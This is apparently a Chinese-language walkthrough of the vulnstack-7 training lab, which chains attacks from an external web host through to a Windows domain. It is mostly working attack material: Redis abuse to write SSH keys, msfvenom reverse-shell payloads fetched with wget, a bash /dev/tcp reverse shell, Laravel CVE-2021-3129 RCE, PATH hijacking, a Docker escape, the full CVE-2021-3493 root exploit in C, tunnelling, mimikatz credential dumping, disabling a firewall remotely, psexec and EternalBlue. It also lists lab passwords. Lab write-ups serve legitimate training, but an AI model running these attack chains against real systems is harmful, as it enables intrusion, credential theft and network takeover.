vulnstack-7（红日靶场七）

环境配置

vlunstack是红日安全团队出品的一个实战环境，具体介绍请访问：漏洞详情http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

添加两个网卡

DMZ区域：

给Ubuntu (Web 1) 配置了两个网卡，一个可以对外提供服务；一个连接第二层网络。

第二层网络区域：

给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡，一个连接第二层网络，一个连接第三层网络。

第三次网络区域：

给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡，连接第三层网络。

Ubuntu (Web 1)

buntu (Web 2) 和Windows 7 (PC 1)

Pc1

Windows Server 2012和Windows 7 (PC 2)

Pc2

Windows Server 2012

域用户信息

Administrator：Whoami2021

whoami：Whoami2021

bunny：Bunny2021

moretz：Moretz2021

Ubuntu 1： web：web2021

Ubuntu 2： ubuntu：ubuntu

通达OA账户： admin：admin657260

配置开启

渗透之前，我们还需要到开启相应的服务配置，每次开机都需要进行配置开启

DMZ区的 Ubuntu 需要启动redis和nginx服务：

sudo redis-server /etc/redis.conf

sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf

sudo iptables -F

解决80端口占用问题

sudo netstat -ntlp

kill -9 790

第二层网络的 Ubuntu需要启动docker容器：

sudo service docker start

sudo docker start 8e172820ac78

第三层网络的 Windows 7 （PC 1）需要启动通达OA：

C:\MYOA\bin\AutoConfig.exe

外网打点

这肯定得祭出我的nmap开干对192.168.16.111 进行扫描

nmap -sV -p 1-65535 192.168.16.111

有80、81 nginx服务 然后6379 redis数据库，我们先从80、81端口下手

192.168.16.111

redis未授权访问

https://www.cnblogs.com/bmjoker/p/9548962.html

redis-cli -h 192.168.16.111

详细步骤：
在攻击机本地生成公钥文件：
公钥文件默认路径：/root/.ssh/id_rsa.pub

ssh-keygen -t ras

/home/kali/.ssh/id_rsa.pub

/home/kali/.ssh/id_rsa

存放公私钥

具体命令：

ssh-keygen -t rsa
cd /root/.ssh
ls

cat id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTWukWVNmcgU6LhhuLDnypS8+KUO3FBJLNbznbqlUrUN0+YLKeVbbmm9/prjSWaGWznluzhhAQERWE3CWCuYnXhBHXemg5NuyCtOPLcW8IPW7Z05YOOhG2hyzTkbJB5vggrYPJJ/IweHaCP209ZyHSSZS0UlLDEzJMMNnh1HE0P+9qQm3/BSDodQhofSDjgHK62vB4cM2f48hc2sxWi2XpbDaiqV3irF9UKZ9Gf2ZOspOxwO/m0jsdOTTuTMbDpnDtFdJpy+9QP9lDffOL91/CSEuXyr1Tv4czqoiNfACwIX3oh6uS/W1myYrv10uyIGsEx2Qt+ykGebE9zfGEWcUDNgLGycJ4RHft4pLXDWq9tQpsQz9CP7iXu5hf2StL8yMGXKyF9qG4l3+39xmR4GCHLLPIgzPFpcIRnGP7a10OH2pWox61pR+1WNJfjtxpijwltWfejTdQsEh/Cr4MQjHxxhi5x+lxRBRCOau0FOrwgWjY8QSaixRImpm6re+MvF8= root@kali

然后通过未授权访问目标机

具体命令

redis-cli -h 192.168.16.111 #连接目标主机

config get dir #检查当前保存路径

config get dbfilename #检查保存文件名

config set dir /root/.ssh/ #设置保存路径

config set dbfilename authorized_keys #设置保存文件名

set xz “\n\n\n 公钥 \n\n\n” #将公钥写入xz健

set xz "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTWukWVNmcgU6LhhuLDnypS8+KUO3FBJLNbznbqlUrUN0+YLKeVbbmm9/prjSWaGWznluzhhAQERWE3CWCuYnXhBHXemg5NuyCtOPLcW8IPW7Z05YOOhG2hyzTkbJB5vggrYPJJ/IweHaCP209ZyHSSZS0UlLDEzJMMNnh1HE0P+9qQm3/BSDodQhofSDjgHK62vB4cM2f48hc2sxWi2XpbDaiqV3irF9UKZ9Gf2ZOspOxwO/m0jsdOTTuTMbDpnDtFdJpy+9QP9lDffOL91/CSEuXyr1Tv4czqoiNfACwIX3oh6uS/W1myYrv10uyIGsEx2Qt+ykGebE9zfGEWcUDNgLGycJ4RHft4pLXDWq9tQpsQz9CP7iXu5hf2StL8yMGXKyF9qG4l3+39xmR4GCHLLPIgzPFpcIRnGP7a10OH2pWox61pR+1WNJfjtxpijwltWfejTdQsEh/Cr4MQjHxxhi5x+lxRBRCOau0FOrwgWjY8QSaixRImpm6re+MvF8= root@kali \n\n\n"

#将公钥写入xz健

Save

 #进行保存

利用公钥进行SSH登录攻击机

利用公钥进行SSH登录攻击机

ssh -i /root/.ssh/id_rsa root@192.168.16.111

上线msf

靶机下载shell

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.16.104 LPORT=1234 -f elf > shell.elf

python -m http.server 80

wget http://192.168.16.104/shell.elf

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 1234

exploit

成功上线

添加路由

run get_local_subnets

run autoroute -p

run post/multi/manage/autoroute

run autoroute -p

web1信息收集

s /home下的文件发现有目录web

cd /etc/nginx/conf.d/

发现目录下有两个配置文件一个是80的一个是81的，80端口404报错查看81端口的配置

发现81端口进行了反向代理

Laravel

访问81端口

查看版本

Laravel Debug RCE（CVE-2021-3129）

当Laravel开启了Debug模式时，由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。这里直接使用工具 getshell，工具下载地址：

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

使用哥斯拉2.92版本可以直接连接

注意：高版本的哥斯拉生成的马的加密方式已经改变会导致连接失败

https://github.com/BeichenDream/Godzilla

第一台的权限我们已经使用ssh登录成功获取了，第一次的webshll实际是获取了第二台的docker权限，因此我们可以通过webshell将第二台主机的docker权限弹回我们的已经获取的第一台里面去，再对其进行后续操作，可以看到已经反弹shell成功。

bash -c ‘exec bash -i &>/dev/tcp/192.168.52.10/8848<&1’

提权

现在我们获取的是docker，需要进行docker逃逸，都是docker逃逸需要root，因此我们需要进行提权，寻找一下看看可不可以具有SUID或4000权限的文件来进行提权

find / -perm -u=s -type f 2>/dev/null

发现一个shell文件，试着执行或者读取一下这个文件

cd /home/jobs

该shell功能是展示ps进程，那么我们可以利用环境变量进行提权

我们写一个恶意的ps，里面进入shell命令行，修改环境变量，让shell找ps的时候找我们写的恶意ps

cd /tmp

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH # 将/tmp添加到环境变量中，并且先加载执行/tmp里的程序

cd /home/jobs

./shell

运行shell后发现我们的权限提高成root了

此方法称为环境变量劫持

再来一个tty的交互式

python -c 'import pty; pty.spawn("/bin/bash")'

现在我们实现了www用户到root用户的权限提升，但可惜我们这台并不是实体机我们需要docker特权逃逸

特权模式于版本0.6被引入docker，允许容器内的root拥有外部物理机root的权限，而此前容器内root用户拥有外部物理机普通用户权限

首先我们在docker中新建一个/hi目录用来挂载文件

mkdir /hi

尝试将/dev/sda1挂载到/hi目录里

mount /dev/sda1 /hi

ls /hi

我们在刚才获取的web1主机上生成一个ssh密钥

接下来将我们生成的ssh密钥写入/hi/home/ubuntu/.ssh目录的authorzed_keys文件中，写入后我们就可以使用密钥登录改机器

ssh-keygen -f hi

chmod 777 hi

我们将hi.hub中的密钥写入/hi/home/ubuntu/.ssh/authorized_keys中

Web1（root）生成rsa

ssh-keygen -t rsa

cd /root/.ssh

ls

cat id_rsa.pub

公钥写入web2

echo '生成的.pub文件的内容' > /hi/home/ubuntu/.ssh/authorized_keys

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI1p1D1I5WUZIaymEmmiDc4FO8XI9JaXV0Sk2zPaAT5BBASuvvYwGUXGIZbrX666ut1mYFxlWr6tn0l7E9tille27Rut051MINW8bxQmL9KthH+jPuRsBTaX2lhqra8ClLmUFzSluuaGZS+aO7We6jcVp6uDP1AUDNtfsg8xf7TIXM0hBhE+EwaopGukraqSUQDYJq4Oyi3GAy29KdMQSdL/QGFCihCE/WfPaU+15C4pYuoP6nV1KdgO96PXBkBIPtWb0XJN12OPSJGBjt6EgYNA388nHAN0CHpNywAKD0ft702fo5qbdKrApO6pAyy93eRX3Y1ImGB1GTQi4tl5pH root@ubuntu' > /hi/home/ubuntu/.ssh/authorized_keys

然后我们查看一下是否写入成功

cat /hi/home/ubuntu/.ssh/authorized_keys

登录

ssh -i /root/.ssh/id_rsa ubuntu@192.168.52.20

权限提升

uname -a

发现版本为ubuntu14.04版本，此版本存在CVE-2021-3493漏洞

https://github.com/briskets/CVE-2021-3493

影响版本

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

（Linux内核版本 < 5.11）

我们首先建立一个exploit.c文件，然后将脚本内容粘贴进行，然后编译运行就可以获得权限

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"static void xmkdir(const char *path, mode_t mode)
{if (mkdir(path, mode) == -1 && errno != EEXIST)err(1, "mkdir %s", path);
}static void xwritefile(const char *path, const char *data)
{int fd = open(path, O_WRONLY);if (fd == -1)err(1, "open %s", path);ssize_t len = (ssize_t) strlen(data);if (write(fd, data, len) != len)err(1, "write %s", path);close(fd);
}static void xcopyfile(const char *src, const char *dst, mode_t mode)
{int fi, fo;if ((fi = open(src, O_RDONLY)) == -1)err(1, "open %s", src);if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)err(1, "open %s", dst);char buf[4096];ssize_t rd, wr;for (;;) {rd = read(fi, buf, sizeof(buf));if (rd == 0) {break;} else if (rd == -1) {if (errno == EINTR)continue;err(1, "read %s", src);}char *p = buf;while (rd > 0) {wr = write(fo, p, rd);if (wr == -1) {if (errno == EINTR)continue;err(1, "write %s", dst);}p += wr;rd -= wr;}}close(fi);close(fo);
}static int exploit()
{char buf[4096];sprintf(buf, "rm -rf '%s/'", DIR_BASE);system(buf);xmkdir(DIR_BASE, 0777);xmkdir(DIR_WORK,  0777);xmkdir(DIR_LOWER, 0777);xmkdir(DIR_UPPER, 0777);xmkdir(DIR_MERGE, 0777);uid_t uid = getuid();gid_t gid = getgid();if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)err(1, "unshare");xwritefile("/proc/self/setgroups", "deny");sprintf(buf, "0 %d 1", uid);xwritefile("/proc/self/uid_map", buf);sprintf(buf, "0 %d 1", gid);xwritefile("/proc/self/gid_map", buf);sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)err(1, "mount %s", DIR_MERGE);// all+epchar cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";xcopyfile("/proc/self/exe", BIN_MERGE, 0777);if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)err(1, "setxattr %s", BIN_MERGE);return 0;
}int main(int argc, char *argv[])
{if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {setuid(0);setgid(0);execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);err(1, "execl /bin/bash");}pid_t child = fork();if (child == -1)err(1, "fork");if (child == 0) {_exit(exploit());} else {waitpid(child, NULL, 0);}execl(BIN_UPPER, BIN_UPPER, "shell", NULL);err(1, "execl %s", BIN_UPPER);
}

vim exploit.c

gcc exploit.c -o exploit

chmod +x exploit

./exploit

MSF进攻内网

成功提权，接下来两台机子上线MSF进攻内网

msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf > bind.elf

wget http://192.168.52.10:81/bind.elf

上线msf

use exploit/multi/handler

set payload linux/x64/meterpreter/bind_tcp

set RHOST 192.168.52.20

set LPORT 6666

run

隧道搭建
 

/home/kali/Desktop/ew-master/ew_for_linux64

nohup ./ew_for_linux64 -s rssocks -d 192.168.16.104 -e 4444

 ./ew_for_linux64 -s rcsocks -l 1080  -e 4444

访问内网

发现通达OA服务

通达OA任意文件上传

使用通达OA漏洞工具进行检测、利用
工具地址：GitHub - Fu5r0dah/TongdaScan_go: 通达OA漏洞检测工具-TongdaScan_go
漏洞检测

http://192.168.52.30:8080/_doit.php

密码：just

 收集信息和网卡信息，发现93网段有两台主机，进行msf93网段横向移动，

上线pc1

msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exe

哥斯拉上传木马

msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe > msf.exe

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set lport 4444

set RHOST 192.168.52.30

域信息收集命令;

net view                 # 查看局域网内其他主机名

net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域

net user                 # 查看本机用户列表

net user /domain         # 查看域用户

net localgroup administrators # 查看本地管理员组（通常会有域用户）

net view /domain         # 查看有几个域

net user 用户名 /domain   # 获取指定域用户的信息

net group /domain        # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）

net group 组名 /domain    # 查看域中某工作组

net group "domain admins" /domain  # 查看域管理员的名字

net group "domain computers" /domain  # 查看域中的其他主机名

net group "doamin controllers" /domain  # 查看域控制器主机名（可能有多台）

发现93网段

kiwi模块

使用kiwi模块需要system权限，所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法，一是当前的权限是administrator用户，二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。

#kiwi不能在x64运行 必须要内存迁移

load kiwi

kiwi_cmd privilege::debug

ps

migrate 1832

kiwi_cmd sekurlsa::logonpasswords

可以看到一大堆明文密码，我们可以使用msf自带的 psexec进行移动，移动之前我们还需要关闭92.30网段的防火墙，利用ipc进行连接关闭防火墙

先建立ipc连接

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"

创建关闭防火墙任务

sc \\192.168.93.30 create unablefirewall binpath="netsh advfirewall set allprofiles state off"

执行

sc \\192.168.93.30 start unablefirewall

psexec进行横向

PSExec工具

使用PSExec前提：SMB服务必须开启以及可达。文件和打印机共享必须开启，禁止简单文件共享。

Admin$必须可以访问。PSExec使用的口令必须可以访问Admin$共享。

在PSExec可执行文件中含有一个Windows服务。它利用该服务并且在远端机器上部署Admin$。然后通过SMB使用DCE/RPC接口来访问Windows Service Control Manager API。然后在远程主机中开启PSExec访问。然后PSExec服务创建一个命名管道，用它来发送命令。

exploit/windows/smb/psexec

exploit在可执行文件中生成/嵌入一个payload，其本质是用过PSExec工具上传的一个服务image。然后exploit使用提供的口令来把服务可执行文件上传到Admin$中，连接到DEC/RPC接口，然后在告诉SCM启动我们部署的服务之前调用Service Control Manager。当服务启动后，创建一个rundll32.exe进程，在进程中分配可执行内存，然后把shellcode拷贝到进程中。然后调用内存地址，执行shellcode。

可执行文件由模板生成，可以由杀毒软件发现。

添加路由

run post/multi/manage/autoroute

run autoroute -p

抓取到域管理员的密码了，直接psexec登陆

use exploit/windows/smb/psexec

set payload windows/meterpreter/bind_tcp

set rhost 192.168.93.30

set smbuser administrator

set smbpass Whoami2021

上线了

上线Pc2

这里可以直接打一波永恒之蓝

use exploit/windows/smb/ms17_010_eternalblue

set rhosts 192.168.93.40

set payload windows/x64/meterpreter/bind_tcp

set RHOST 192.168.93.40

set lport 5555

exploit